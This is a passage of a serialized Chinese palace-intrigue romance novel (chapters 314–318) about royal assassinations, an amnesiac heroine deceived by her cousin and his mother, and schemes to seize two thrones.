“这……毕竟关乎弑君,还请王爷容老臣考虑考虑。”赵谦一脸为难道,儒雅的脸上挤出几分纠结,仿佛当真在权衡利弊。 萧凌川见他这副惺惺作态的模样,心里只觉得好笑。 他耸了耸肩,姿态闲散:“也罢,本王给你七日时间,好好考虑。若你同意,等本王的舅舅死了,本王登基为王,下一步棋,便是统一南月和大邺了。” 最后几个字,他说得轻描淡写,却像一颗巨石砸入赵谦心湖,激起千层巨浪。 赵谦那双深沉的眼眸里,有什么东西飞快地闪了一下,亮得惊人。 “统一大邺……王爷竟有如此雄心壮志?” “那是自然。”萧凌川懒洋洋地靠着椅背,眼神却锐利如鹰,“本王如今在大邺也算功名赫赫,朝中威望,无人能及。想要成为大邺的新帝,不过是早晚的事。你想想,若能一统南月和大邺,往后便是一家,互通有无,开商路,废关税,于两国百姓,都是天大的福音。” “王爷所言极是。”赵谦眼底掠过一丝难以言喻的悸动,那是一种被压抑了太久的野心,在瞬间找到了宣泄的出口。 可他很快便将这丝情绪压了下去,恢复了那副波澜不惊的模样,“老臣……会慎重考虑的。王爷如今初到南月,人生地不熟,不如就在老臣府里落脚,如何?” “不必了。”萧凌川站起身,掸了掸衣袍上不存在的灰尘,“本王不习惯跟人同住,还是在这附近找个客栈住吧!” 他说完,根本不给赵谦任何挽留的机会,转身便大步流星地离开了。 门帘晃动,人影消失。 赵谦脸上的伪装瞬间剥落,儒雅不再,只剩下阴冷的算计。 他唤来一名暗卫,声音低沉如冰:“跟上去,盯紧他的一举一动!任何风吹草动,立刻回报!” 萧凌川走在南月都城的街道上,夜风带着些许湿润的凉意。 他能感觉到,身后有一道若有若无的气息。 他唇角勾起一抹冷冽的弧度,随意找了间看起来还算干净的客栈,开了间上房。 店小二引着他上楼,身后的那道气息也在客栈外停了下来,隐匿在对面的暗巷里。 萧凌川入了房间,点上油灯,甚至还煞有介事地倒了杯茶,在窗边坐了片刻。 直到他察觉到那暗卫有些松懈,以为他已然安歇,他才放下茶杯,悄无声息地推开后窗。 身形如狸猫般矫健,他翻身而出,几个起落便融入了沉沉的夜色,去了城西另一家毫不起眼的客栈。 躺在新客栈的床榻上,萧凌川毫无睡意。 前世,他被花连城那个伪善的舅舅玩弄于股掌之间,差点成了他侵占大邺的利刃。 他对花连城恨之入骨,做梦都想将他手刃。 可今日见了赵谦这只老狐狸,他才明白,自己前世错得有多离谱。 花连城或许有野心,但他的算计,远远没有赵谦来得深沉、狠毒。 赵谦才是那个藏在幕后,搅动风云的执棋者。 今夜,这老狐狸故意在他面前暴露自己是母亲从前未婚夫的身份,还演出那副愧疚痛苦的模样,不过是看中了他“南月公主之子”和“大邺亲王”这双重身份,想利用他来达成他自己不可告人的目的。 所以萧凌川顺水推舟,故意提出让他弑君。 他比谁都清楚,赵谦这老狐狸早就想谋权篡位了。 以他如今在南月的权势,夺位易如反掌。 可夺位容易,守位难。 他需要一个名正言顺的由头,一个能堵住天下悠悠众口的借口,才能安稳地坐上那张龙椅。 而他萧凌川提出的“为母报仇”,就是送上门的最好借口。 赵谦这老狐狸的野心,可不止一个小小的南月。 地域辽阔、物产丰饶的大邺,才是他真正的目标。 萧凌川心中冷笑,那就让你们这对虚伪的君臣,先来一场精彩的狗咬狗的戏码吧! 花连城,赵谦……本王一个都不会放过! —— 姜姝宁醒来时,只觉得头疼欲裂。 “大姐姐,你好点了吗?”一个温润又带着关切的声音在耳边响起。 她费力地睁开眼,视线从模糊到清晰,映入眼帘的是一张俊秀而陌生的脸。 她一脸茫然地看着他,几乎是脱口而出:“你是谁?” 姜天泽脸上的关切神色瞬间凝固。 “你……不记得我了?” “不记得了……”她喃喃自语,伸手抚上自己阵阵抽痛的额角,“我……我又是谁?” 脑子里空空荡荡,又混乱不堪。 那些本该连续不断的记忆画面,此刻像是被巨力砸碎的琉璃,变成无数锋利的碎片,无论她如何努力,都无法拼凑出一幅完整的图景。 她是谁?为什么会在这里? 眼前这个男人,又是谁? 姜天泽一动不动地盯着她,仔细端详着她脸上每一丝细微的神情。 那双清澈的眼眸里,只有纯粹的困惑与茫然,没有半分伪装的痕迹。 片刻之后,一个念头闯进了他的脑海中。 姜姝宁,失忆了。 大概是他在为她驱蛊的关键时刻,被门外内侍的通报声惊扰,心神动荡,导致施针时出了差池,意外损伤了她的记忆。 继而导致她将一切都忘记了…… 一切都……忘记了? 那不就意味着,她也把萧凌川忘得一干二净了? 这个认知瞬间让他狂喜不已。 他看着她那双毫无防备、如初生小鹿般澄澈的眼睛,一个疯狂而大胆的念头,在他心底破土而出,疯狂滋长。 他俯下身,凑近她,声音压得极低,带着一种蛊惑人心的温柔。 “阿宁,”他刻意顿了一下,像是在习惯这个新称呼,“我是你的夫君,我叫天泽。你是我的妻子,叫……姜宁。” 姜姝宁纤长的睫毛颤了颤,抬眸看他,那张陌生的脸上,是她看不懂的深情和痴迷。 “我是……你的妻子?”她皱眉,虽然不记得自己几岁了,但总觉得自己要比眼前少年大上许多。 “如假包换!”姜天泽一边说着,一边朝她靠近,试图亲近她。 姜姝宁却下意识往里缩了缩,拉开些许距离,眼神中闪过一抹不易察觉的戒备。 “可你方才,分明叫我‘大姐姐’。” 姜天泽的神色猛地一僵,但很快便强压下情绪,硬挤出一个笑容解释道:“那是……我对你的昵称。你比我大一岁,我平日里便喜欢这样唤你,只是玩笑称呼。” “是吗?”姜姝宁垂下眼帘,长长的睫羽遮住了眼底翻涌的思绪。 她虽失去了记忆,但直觉告诉她,天下不会有夫君以“大姐姐”来称呼自己的妻子,他的解释未免太过牵强。 她不动声色地打量着姜天泽,见他眼底的紧张与不自然愈发明显,心中疑虑更深。 可她尚未恢复记忆,无法判断真伪,只能暂且压下满腹狐疑,假装信了他的说辞,轻声问道:“那我为何会失去记忆?如今,我们又身在何处?” 她环顾四周,只见房间布置简陋,木窗半掩,窗外隐约传来嘈杂的人声与马蹄声,空气中还夹杂着一股淡淡的柴火与饭菜的味道。 这地方,不像是寻常百姓家,倒更像是某处偏僻的客栈。 她的目光扫过墙角的包袱与桌上尚未收拾的茶碗,心底的不安渐渐加重。 姜天泽见她神色有异,忙开口解释道:“我们如今正被南月皇室追杀,打算逃往大邺。至于你失忆……是因为在逃亡途中,你不慎跌落山崖,头部受了重创,这才忘了过去。” “南月皇室为何要追杀我们?”姜姝宁追问道。 姜天泽似是早有准备,紧紧握住她的手道:“我是南月皇帝流落在大邺的皇子,如今我回到南月,我的皇兄皇弟们怕我夺走储君之位,便派人追杀于我。” 他顿了顿,目光炯炯地盯着她,声音低沉而坚定,“我怎能让夫人陪我经受这般风险?所以,我决定带你返回大邺,远离这是非之地。” 姜姝宁低头看着他紧握自己的手,心底莫名有些排斥他的肢体接触。 她不动声色地抽回手,垂下眼帘,掩去眼底的冷意,语气却依旧平静:“那你岂不是要主动放弃储君之位,以及那数不尽的荣华富贵?” “比起夫人,这储君之位算不上什么。”姜天泽深情款款地注视着她,“只要有你在身边,天下再大的权势,于我而言也不过是过眼云烟。” 没想到,这番深情的表白没有让姜姝宁动容,反倒让她心中的疑惑更甚。 她直截了当地问道:“你既如此在乎我,为何不选择争一争储君之位?若你登上高位,岂不是能更好地护我周全?” 这话直接将姜天泽噎住了。 第315章 哪怕她失忆了,也不是好糊弄的 第三百一十五章 哪怕她失忆了,也不是好糊弄的 姜天泽被她问得哑口无言,脸颊涨红,正准备再编出些什么说辞,房门“吱呀”一声被人从外面推开。 一个中年妇人急匆匆走了进来,她的嗓音压得又低又急:“天泽,此地不宜久留,皇宫侍卫已经找到这附近了,我们快走吧!” 姜天泽连忙拉过姜姝宁,对着她介绍道:“阿宁,这是我母亲,也是你的婆婆!” 他又立刻转向那妇人,语速飞快,“母亲,阿宁她……她失忆了。” 姜三夫人闻言,神色有几分凝重。 她朝着姜姝宁催促道:“阿宁,快起来吧,我们需尽快离开!” 大概是感受到姜三夫人身上那股掩不住的紧张情绪,姜姝宁虽心中仍有疑惑,却没有再多问一句, 她十分配合地站起身,与他们一同利落地收拾起本就不多的行囊。 三人提着包袱,几乎是小跑着下了楼,混入客栈外熙攘的街道。 或许是他们行色太过匆忙,脸上无法掩饰的紧张反而像黑夜里的火把,瞬间引起了街角几个佩刀侍卫的注意。 “站住!”一声厉喝传来。 几个侍卫立刻朝他们这边冲了过来。 “你们先走,我来断后!”姜三夫人当机立断,她猛地将手里的包袱塞给儿子,转身朝着与他们相反的方向,故意暴露在侍卫的视野中,拔足狂奔。 果然,大部分侍卫被她引走。 姜天泽一把攥住姜姝宁的手腕,发力就想拖着她跑。 那皮肤相触的瞬间,姜姝宁只觉得一阵说不出的别扭,下意识地便想甩开。 “她不是你母亲吗?”她站着没动,清冷的目光直视着他,“哪有儿子丢下母亲自己跑的道理?我们年轻,比她跑得快,该由我们引开侍卫才是!” “侍卫要找的人是我,他们不会对我母亲怎么样的!”姜天泽的嗓音因急切而有些变调,“况且,我母亲有法子对付他们!我们快走!” 皇宫的侍卫都被派来了,可见萧凌川和他那个父皇达成了某种协议。 若是被他们找到姜姝宁,那就麻烦了。 就在这片刻的迟疑间,一个拿着画像的侍卫发现了姜姝宁。 他高声喊了起来:“找到了!我找到王妃了,她在这儿!” 王妃? 这两个字像一道惊雷,直直劈进姜姝宁混沌的脑海。 她还没来得及细想,姜天泽的指尖便用力一甩,一片白色的粉末如烟似雾,朝着那侍卫的面门飞溅而去。 侍卫惨叫一声,捂住了眼睛。 等周围的侍卫们从一片呛人的烟雾中恢复视觉时,眼前哪里还有人影。 一个僻静得能听见水滴声的巷弄深处,姜姝宁一把甩开姜天泽的手。 她清亮的眸子此刻锐利如刀,死死地盯着他。 “他们说的王妃,是我吗?” “你听错了。”姜天泽眼神躲闪,“他们喊的是……是太子妃。” “是吗?”姜姝宁紧盯着他,“怎么我觉得,他们好像不是来找你的,而是在找我?” 少年被她逼视得有几分狼狈不堪。 他沉默了许久,才从喉咙里挤出一句苍白无力的辩解:“……因为他们知道你对我而言很重要,所以,想抓到你,以便拿捏我。” “……” 姜姝宁盯着他,一言不发。 她忽然觉得,眼前的少年不是当她失忆,而是当她傻。 这漏洞百出的谎言,他究竟是如何想出来的? “天泽,我不知道你为什么要骗我。”她的声音很轻,却字字清晰,“但直觉告诉我,你我不是夫妻。” 她顿了顿,目光扫过他因紧张而攥紧的拳头。 “你能不能告诉我,我究竟是什么人?为什么皇宫里的侍卫要抓我?还有,我究竟是怎么失忆的?” 一连串的问题,像连珠炮一样砸过来。 姜天泽额角上沁出的汗珠,顺着他年轻的脸颊滑落,滴进衣领里。 他喉结滚动,嘴唇翕动了几下,却一个字也吐不出来。 他的大姐姐,从来就不是能被轻易糊弄过去的人。 哪怕她什么都不记得了,那份洞察人心的敏锐,依旧深植于她的骨子里。 他编织的那个关于“太子妃”的谎言,此刻在他自己听来,都显得那么可笑又脆弱。 就在这令人窒息的僵持中,一道急促的脚步声由远及近,打破了巷弄里的死寂。 姜三夫人追了上来。 她看起来毫发无损,只是发髻微乱,衣衫上沾了些尘土,但脸上的神色却难看得紧。 “南都的城门关了,我们出不去了!”她一开口,声音里就带着一股压不住的焦躁。 姜天泽神色陡然变得凝重起来。 他深吸一口气,试图继续说服姜姝宁:“阿宁,你听我说,你的确是我的……”他话说到一半,就被姜三夫人打断,“你不是太子妃。” 姜三夫人没给她思考的时间,语速极快地继续说道,“你是景王妃,是天泽表哥景王的妻子。但他那个表哥,是个野心勃勃且杀戮很重的王爷,为了权势,他连自己的手足都残害。 你心地善良,根本不愿与虎谋皮,所以才求天泽带你离开。可这事被景王发现了,他便派了这么多人到处找你。所以,阿宁,你决不能被他找到,否则,你这辈子就要在那个杀人狂魔身边度过了!” “杀人狂魔……”这四个字像一记重锤,狠狠砸在姜姝宁的心口。 姜姝宁脑海中骤然闪过一幕杀戮画面:一个陌生妇人被神色阴鸷的男子虐杀,刀剑刺入血肉的声响与妇人凄厉的惨叫仿佛近在耳畔。 她只觉得一阵心惊肉跳,连呼吸都变得不稳起来。 这,难道就是她失忆前见过的画面? “我的夫君……当真……如此恶劣?” “是。”姜三夫人的回答斩钉截铁,“他就是个草菅人命的疯子!阿宁,你根本不知道他有多可怕。若我没猜错,现在的南月皇帝,恐怕早已受他钳制!好在我们母子都逃出来了,否则,我们都会死在景王手里!” 这番话,似乎比姜天泽那个漏洞百出的故事要合理得多。 一种源于未知的恐惧,瞬间攫住了姜姝宁的心脏。 “我明白了,我会配合你们藏好的,绝不让那个景王……找到我!” 天色渐晚,他们不敢再走官道,一路拣着偏僻的小路,远离人群,最终往深山里去。 夜幕降临时,三人在山腰处寻了个干燥避风的山洞暂时落脚。 奔波了一整天,精神又高度紧绷,姜姝宁几乎是沾到冰冷的洞壁就睡着了。 她蜷缩在角落里,眉头即便在睡梦中也紧紧蹙着,似乎被无尽的噩梦追赶。 洞口升起一小堆篝火,火光跳跃,映着姜天泽有些阴沉的脸。 他看着熟睡的姜姝宁,压低了声音,语气里满是不虞:“母亲,您为何要那般跟大姐姐说?如此一来,我和大姐姐的关系……不就变得生疏了?” 姜三夫人瞥了他一眼,往火堆里添了根枯枝,火星“噼啪”作响。 “傻孩子。你骗她说你是她的夫君,你看看她信吗?她就算失忆了,一颗心也不是石头做的,对你生不出男女之间的亲近之心。再加上我们要逃亡,你那个理由编得漏洞百出,她肯跟你走才怪!” 她顿了顿,声音更低了些,“还是我方才那番说辞,她才信得过。一个女子,无论如何都接受不了一个残暴嗜血的丈夫。只要让她从心底里厌恶景王,想要离开他,那我们就成功了一半。” 火光下,她的侧脸显得格外冷静和锐利。 “往后的路还长着呢,朝夕相处,你还怕得不到她的心吗?” 姜天泽怔怔地看着火光,母亲的话像一把钥匙,瞬间打开了他心中郁结的锁。 是啊,来日方长,他有的是机会慢慢得到姜姝宁的心。 他紧绷的嘴角终于松动下来,点了点头:“母亲所言极是。” 第316章 弑舅夺位 第三百一十六章 弑舅夺位 南月国,皇宫。 殿内烛火摇曳,花连城在铺着厚重地毯的御书房内来回踱步,时不时朝殿外张望。 “人呢?首辅大人还没到吗?” “陛下,已经派人去催了。”一旁的老内侍躬着身子应道。 话音刚落,殿外传来通报:“首辅大人到——” “快请!快请!”花连城眼睛一亮,急不可耐吩咐道。 赵谦一身暗色官袍,步履沉稳地跨入殿中,他眼神平静得像一潭深不见底的古井。 “首辅大人,”花连城迫不及待追问道,“如何?那景王可愿和我们合作,将大邺的疆土拿下?” 赵谦抬起眼皮,淡淡地看了花连城一眼,才不紧不慢地开口:“景王乃是芷若公主的亲生骨肉,从小亲眼目睹他父皇对公主的凌辱和折磨,心中对大邺有极大的恨意,自然是愿意帮我们南月一统大邺的。” “太好了!”花连城激动不已,“那还等什么?首辅大人这些年不是借用夜影阁,在大邺境内安插了各方势力吗?再结合景王如今在大邺朝中的势力,拿下大邺简直易如反掌!” 他双眼放光,仿佛已经看到了大邺的万里江山尽归自己脚下,看到了南月史书上对自己浓墨重彩的赞誉。 “等拿下大邺,朕看看,这南月还有谁敢说朕是个无能的皇帝!” “陛下所言极是,”赵谦顺着他的话说,语气平淡无波,“不过景王有个条件,只有我们同意他的条件,他才肯跟我们合作。” 花连城的兴奋劲儿稍稍冷却了些:“什么条件?” 赵谦脸上浮现出一副为难的样子,他叹了口气,似乎难以启齿:“就怕……陛下不同意。” “哈!”花连城笑了,重新坐回龙椅上,姿态倨傲,“他能有什么条件?无非就是帮他找到他那个王妃罢了!朕没想到,朕的外甥竟是个情种,这倒是跟朕死去的妹妹颇为相似!” 说到这,他话锋一转,带上了几分嘲弄,“想当初,若不是首辅你几番甜言蜜语哄骗,朕的妹妹又怎么会同意远赴大邺和亲……” 他的话还没说完,就觉得脖子一凉。 一道细微的、几乎不可闻的金属划过皮肉的声音响起。 紧接着,温热的液体喷涌而出,溅湿了他胸前的龙袍。 他难以置信地低下头,看到鲜血正从脖颈处汩汩冒出,染红了明黄的丝绸。 他抬起手,想去堵住那个窟窿,却什么也堵不住。 力气和体温正随着血液一起飞速流失。 他艰难地抬起头,看向眼前这个他最信任的臣子。 “赵谦,你……” 赵谦不知何时手里多了一把薄如蝉翼的短刃,刃上还滴着血。 他面无表情地看着龙椅上那个生命正在消逝的男人,声音冷得像冰。 “陛下,景王提的条件,便是要你死。” 花连城喉咙里发出“嗬嗬”的声响,他想说什么,却只能吐出带血的泡沫。 赵谦的眼神没有一丝波澜,仿佛在看一个死物:“陛下如此为南月的扩大着想,想来是不会拒绝的。陛下放心,老臣定会实现您的夙愿,让南月一统大邺的!” 花连城还想说什么,但已经来不及了。 他双目圆睁,瞳孔中倒映着赵谦冰冷的面容,和那张一开一合的嘴。 最终,他的头无力地垂下,彻底断了气。 御书房内一片死寂。 赵谦随手从桌案上拿了张干净的帕子,慢条斯理地擦拭着短刃和手指上的血迹,仿佛刚才只是宰了一只鸡。 他将帕子扔在花连城的尸体上,对旁边已经吓得面无人色的内侍道:“去拿笔墨纸砚,我要写一封禅位书,将南月国的皇位给大邺的景王萧凌川。” 那内侍双腿一软,差点跪在地上,结结巴巴地问:“首、首辅大人……这皇位不应该是您的吗?为何要给别人?” 赵谦冷笑一声,将那把短刃收回袖中,动作行云流水。 “我杀了花连城,这弑君的骂名自然要萧凌川来承担。何况,我还要利用他拿下大邺疆土。等大邺归顺南月,我再要回这皇位也不急。” 内侍这才反应过来,脸上瞬间由恐惧转为谄媚的敬畏。 “首辅大人英明!” 很快,南月皇帝驾崩、将皇位传给自己外甥的消息,便在整个南都传得沸沸扬扬。 空气中弥漫着一种说不清道不明的诡异气息,恐慌和不安在街头巷尾的窃窃私语中悄然发酵。 —— 姜姝宁被迫躲在南都山林里的日子并不好过。 最后一块干硬的饼子被分食干净后,姜三夫人眼神平静地扫过姜天泽和姜姝宁:“粮食没了,必须下山。” 山下就是龙潭虎穴,但总好过在这里活活饿死。 “南都城里到处都是搜捕我们的侍卫,”姜天泽清俊的脸上忧心忡忡,“我们这样下去,不是自投罗网吗?” 姜三夫人从怀里摸出一个小瓷瓶,倒出两粒黑色的药丸,一股刺鼻的怪味瞬间散开。 “把这个吃了。”她将药丸递给姜天泽和姜姝宁,“我新制的毒药,还没起名字,就叫它‘见不得人’吧。” 姜姝宁接过那颗散发着不祥气息的药丸,迟疑地看着她。 “放心,死不了人。”姜三夫人语气平淡,“顶多就是让你们的脸暂时没法看而已。” 姜天泽没有丝毫犹豫,仰头就将药丸吞了下去。 姜姝宁见状,也只好闭上眼,将那苦涩的药丸咽下。 药力发作得极快。 不过片刻功夫,姜姝宁就觉得脸上开始发痒,像是无数只小虫在皮下爬行。 她忍不住想去抓,却被姜三夫人一把按住手。 “别动,想留疤吗?” 姜姝宁从旁边水洼的倒影里,看到了自己此刻的模样。 原本光洁的皮肤上,此刻正鼓起一个个大小不一的红疙瘩,有些甚至已经冒出了恶心的白头,整张脸看上去又红又肿,丑陋不堪,连她自己都感到一阵不适。 旁边的姜天泽也没好到哪里去,活像个被毒蜂蜇了满头的倒霉蛋。 难怪叫“见不得人”,服下后脸确实丑得人神共愤。 姜三夫人却对自己的杰作十分满意,她点了点头:“嗯,不错。这样一来,就算那些侍卫拿着你们的画像,也未必能认出你们。我倒要看看这毒性能维持多久,若能撑过一个时辰,我们出城便多了几分把握。” 两人顶着这副尊容,稍作伪装后便下了山。 南都城内的气氛比他们想象中还要压抑。 街上的行人少了许多,取而代之的是一队队巡逻的侍卫,他们手持长戟,盔甲在日光下泛着冷光,眼神锐利地扫过每一个路人。 姜天泽压低了斗笠,拉着姜姝宁快步走进一家不起眼的食铺,点了两碗最便宜的阳春面。 两人立马狼吞虎咽起来。 在山上躲藏这段时间,他们已经很久没吃到新鲜的食物了。 邻桌几个食客压着嗓子的交谈声,断断续续地飘了过来。 “听说了吗?陛下……驾崩了!” “嘘!你不要命啦!宫里传出来的消息是‘禅位’!” “禅位?呵,骗鬼呢!皇上春秋鼎盛,龙体康健,怎么可能好端端地就把皇位让给一个外人?还是大邺的景王!” “可不是嘛……都说,是景王爷……弑君夺位……” 姜天泽手中的筷子被折断,他整个人都在发抖,不是因为害怕,而是因为极致的愤怒。 血液冲上头顶,让他眼前阵阵发黑。 “我父皇正值壮年,怎么可能突然驾崩?”他的声音从牙缝里挤出来,每个字都带着血腥味,“他肯定是被萧凌川杀了!萧凌川……简直是个魔鬼!” 他杀了花连城所有的皇子,看在母亲和他有一段情的份上,没有杀了这个亲生父亲。 没想到,他如今竟死在萧凌川的手里! 姜姝宁没有说话。 她垂着眼,长长的睫毛掩盖住眼底翻涌的情绪。 一路上,她也听到了类似的传闻。 几乎所有人都认定,是景王萧凌川为了霸占南月皇位,残忍地杀害了自己的亲舅舅。 她不知道事情的真相究竟如何。 但花连城死了,萧凌川是唯一的、也是最大的受益人。 光是这一点,他就永远洗不清嫌疑。 景王萧凌川果然如姜三夫人所说的那样,为了权势不择手段,心狠手辣。 一股后怕的寒意从她脊背升起。 她忽然有些庆幸,庆幸失忆前的自己,不知为何离开了他。 否则,以自己如今这副懵懂无知的模样,若是落在他手中,会是怎样可怕的下场?她简直不敢想象。 第317章 与南月首辅的虚与委蛇 第三百一十七章 与南月首辅的虚与委蛇 南月皇宫,金銮殿。 萧凌川身着玄色龙袍,金线绣出的张牙舞爪的五爪金龙,在他身上非但没有增添半分君临天下的威仪,反而衬得他整个人愈发阴鸷,像一柄出鞘的利剑,寒气逼人。 他才坐上这把龙椅没几天,底下那些老臣看他的眼神,就跟看一个篡位夺权的乱臣贼子没什么两样。 大殿里死寂一片,连呼吸声都小心翼翼。 这几日,为了搜寻姜姝宁,他下令封锁了整个南都城,禁卫军几乎倾巢而出,将城内翻了个底朝天。 可她就像人间蒸发了一样,杳无音信。 找不到她,萧凌川心里的那股邪火就无处发泄,整个皇宫都笼罩在他的低气压下。 “陛下。” 一个沉稳的声音打破了死寂。 赵谦从百官之首走出,躬身行礼:“陛下,南都城已封锁数日,城中百姓早已怨声载道。米粮肉菜价格飞涨,人心惶惶,长此以往,恐生民变啊!还请陛下以江山社稷为重,早日开启城门,安抚民心。” 他话音刚落,底下立刻传来一阵附和之声。 “首辅大人所言极是,请陛下三思!” “请陛下开启城门!” 萧凌川坐在龙椅上,指骨一下下敲击着扶手上的龙头,发出沉闷的声响。 他眼底的杀意几乎要凝成实质。 好一个赵谦,好一个以江山社稷为重。 这老狐狸,不过是想借着民意来试探他的底线,给他这个新君一个下马威。 他若是此刻发作,正好就坐实了残暴嗜杀的名声,反倒衬得他赵谦愈发德高望重,深得民心。 到时候,这南月的天下,究竟是谁的,可就说不准了。 萧凌川心中冷笑,脸上却浮现出一丝恰到好处的愧疚与疲惫。 他抬手揉了揉眉心,声音沙哑:“首辅大人说的是,的确是朕思虑不周。传朕旨意,即刻解除南都封锁,恢复城中秩序。” 赵谦眼里闪过一丝得色,他以为拿捏住了萧凌川的软肋,立刻顺杆往上爬:“陛下圣明。如今南月局势已稳,陛下根基已固,也该考虑一统天下的大业了。大邺皇帝病弱无能,门阀腐朽不堪,朝中将士尽是酒囊饭袋,正是我南月出兵的绝佳时机!” “哦?”萧凌川像是来了兴趣,身体微微前倾,“依赵首辅之见,该当如何?” 赵谦见他上钩,更是得意,捋着胡须道:“陛下可亲率一支精兵,以雷霆之势潜入大邺皇都,直(捣)黄龙,逼其禅位!届时,大邺唾手可得!” 萧凌川垂下眼帘,长长的睫毛遮住了眼中的讥讽。 好一个直(捣)黄龙。 这老狐狸是想让他离开南都,好让他趁机在朝中安(插)亲信,架空他这个皇帝,顺便为他拿下大邺的疆土。 真是打得一手好算盘。 可惜,他萧凌川从不做亏本的买卖。 “首辅所言,深得朕心。”萧凌川的声音听不出情绪,“此事,便依首辅大人所言。” 退朝后,萧凌川回到御书房,脸上的温和与愧疚瞬间褪得一干二净,只剩下冰冷的戾气。 他提笔,在一张白纸上飞快地写下几个字,塞入一只竹筒,递给一旁的暗卫。 那信是给远在西榆的凌风的。 信中内容很简单:散播他萧凌川在西洲之战中身受重伤的消息,并且,准备接收一批“新劳力”。 不出三日,赵谦果然拨了三千精兵,并将兵符给他,让他带着去大邺逼宫。 萧凌川拿着那枚沉甸甸的兵符,嘴角勾起一抹意味深长的冷笑。 西洲与大邺的边境,黄沙漫天。 三千南月精兵在此安营扎寨,他们本以为是来执行什么奇袭大邺的绝密任务,个个摩拳擦掌,准备大干一场。 谁知,等来的不是敌军,而是他们的“新皇”萧凌川。 萧凌川一袭黑衣,立于高坡之上,身后是黑压压的景王府亲卫。 他看着底下那群不明所以的南月士兵,声音冷得像淬了冰:“从今天起,你们不再是南月士兵。你们的身份只有一个——矿工。” 他指向不远处一座山脉:“看到那座山了吗?里面有金矿。挖,或者死,你们自己选。” 士兵们瞬间炸了锅。 “凭什么!我们是南月的兵,不是你的奴隶!” “萧凌川,你竟敢羞辱我们南月士兵!你不得好死!” 萧凌川置若罔闻,只是对身旁的凌风使了个眼色。 凌风会意,一挥手,亲卫们便将他们所有的粮草和兵器付之一炬。 熊熊大火映着士兵们绝望的脸,他们想救火却早就来不及了。 饿了三天之后,再精锐的士兵,也成了软脚虾。 面对黑黢黢的矿洞和冰冷的镐头,他们别无选择。 夜里,凌风走进萧凌川的营帐,帐内只点了一盏孤灯,将他的影子拉得极长。 “王爷,人都安顿好了。只是……王妃您真的不打算继续找了?”凌风迟疑地问。 全城搜捕无果后突然撤兵,这实在不像萧凌川的作风。 萧凌川背对着他,正在擦拭手中的长剑,剑身映出他冷峻的侧脸。 “怎么可能?”他嗤笑一声,那笑声里带着一股说不出的苦涩,“只不过让她放松戒备,好早点回到大邺罢了。” 凌风一愣:“王爷,您是说……” “从我发现她诈死的那一刻起,我就猜到,我们儿子的‘死’或许也只是一场戏。”萧凌川放下长剑,缓缓转身,“为此,我让凌芜去了埋葬小邺君的那座寺庙。” 他顿了顿,声音沉得能滴出水来,“果然,她寻到那个装婴孩‘尸体’的陶罐,里面根本没有什么婴孩的尸骨,只有一个塞满了旧衣裳的襁褓。” 萧凌川的眼神陡然变得阴郁起来,“若本王没猜错,王妃原本的计划,大概是借着孩子的死,让自己‘悲痛欲绝’,然后顺理成章地‘病逝’。等所有人都以为她死了,她再带着孩子远走高飞。” “只是她没算到,本王会疯了心一样,把她的‘尸首’千里迢迢带回南月。她的计划全乱了。” 如今,她人虽然跑了,可孩子还在大邺。 她一定会回去。 凌风恍然大悟,但又生出新的疑惑:“可是,王爷……您怎么知道小世子现在究竟在何处?” 萧凌川的目光骤然变得阴沉无比,周身的气压低得骇人。 他缓缓吐出几个字,像是从牙缝里挤出来的一样。 “偌大的景王府,能背着我,替她办成这等瞒天过海之事的,还能有谁?” 他漆黑的瞳孔里翻涌着滔天的怒火与占有欲,一字一顿,带着蚀骨的寒意。 “崔侧妃,崔芝兰!” 只要撬开那个女人的嘴,他定能得知他们孩子的下落! 第318章 互相扎刀 第三百一十八章 互相扎刀 西榆传来的密报如同一剂猛药,瞬间驱散了萧政贤缠绵已久的病气。 他靠在龙椅上,苍白的脸上泛起不正常的红晕,捏着信纸的手指因为用力而微微发抖。 “重伤垂死?生死未卜?” 他反复咀嚼着这几个字,喉咙里逸出一阵压抑不住的、嘶哑的笑声。 太好了! 萧凌川,那个压在他心头如同梦魇一般的存在,终于要死了! 萧修湛和萧凌川,一个残废毁容,一个重伤不治,这两个曾被他视为心腹大患之人,如今不过是一堆废物罢了! 他的皇位,总算是坐稳了! 狂喜过后,是冰冷的算计。 既然萧凌川已经身受重伤了,那么萧修湛自然也没了利用价值。 留着,终究是个祸患。 “来人。”他懒懒地唤了一声,几个黑衣暗卫悄无声息地出现在他面前,恭敬地跪下跪下。 “去瑞王府,”萧政贤的语气轻描淡写,“让瑞王……安息吧。做得干净点,别留下痕迹。” 干脆把萧修湛的假死直接变成真死算了。 暗卫领命而去,御书房内又恢复了死寂。 然而,这份安宁并未持续太久。 不到一个时辰,派出去的暗卫便回来了,神色凝重。 “陛下,瑞王府……是空的。属下们搜遍了王府,并未发现瑞王殿下的踪迹。” 萧政贤眉头顿时拧了起来:“空的?怎么可能?他不是一直躲在府里养伤吗?” 除了瑞王府,他那个鬼样子还能去哪儿? 一丝不安像细小的蛇,悄悄爬上他的心头。 他环顾四周,总觉得哪里不对劲。 今日在御书房里伺候笔墨的内侍,似乎有些面生。 他最信任的内侍章和呢? “你,”萧政贤审视着眼前的内侍,“你是谁?章和去哪儿了?” 那内侍的身子几不可察地僵了一下,头埋得更低:“回陛下,章和公公……身体不适,告假了。” 话音刚落,萧政贤的视线便落在了他微卷的袖口上。 一抹暗红色的血迹,刺眼地印在月白色的衣料上。 一股寒气从脚底板直冲天灵盖! 萧政贤浑身的血液瞬间凝固,他猛地从龙椅上弹起,声音因恐惧而变得尖利扭曲:“来人!有刺客!护驾……” 他的呼救声戛然而止。 一道黑影如鬼魅般从他身后窜出,等他反应过来,脖颈上已经贴上了一片冰冷的利刃。 暗卫还未来得及反应,便被一旁假扮内侍的男子用剑划破喉咙,瞪目倒地,死不瞑目。 “陛下,”萧政贤身后传来刻意压低的嗓音,带着浓浓的威胁,“若你不想立马血溅当场,就最好别出声!” 萧政贤不敢动,连呼吸都停滞了。 他眼睁睁地看着那架巨大的紫檀木雕花屏风后,缓缓走出一道身影。 那人穿着一身玄色锦袍,身形高大,右边的袖管却绵软地垂着。 更可怖的是他的脸,半边面孔布满了狰狞交错的伤疤,像是被什么东西啃食过一般。 是萧修湛。 怒火与惊惧瞬间冲垮了理智,萧政贤的胸口剧烈起伏:“瑞王!你好大的胆子,竟敢行刺朕,试图弑君!” 萧修湛看着他这副狼狈的模样,毁掉的半边脸扯出一个扭曲的笑容,看起来分外骇人:“彼此彼此。皇兄不也刚派人去取臣弟的性命吗?既然如此,与其坐以待毙,本王还不如先下手为强!” 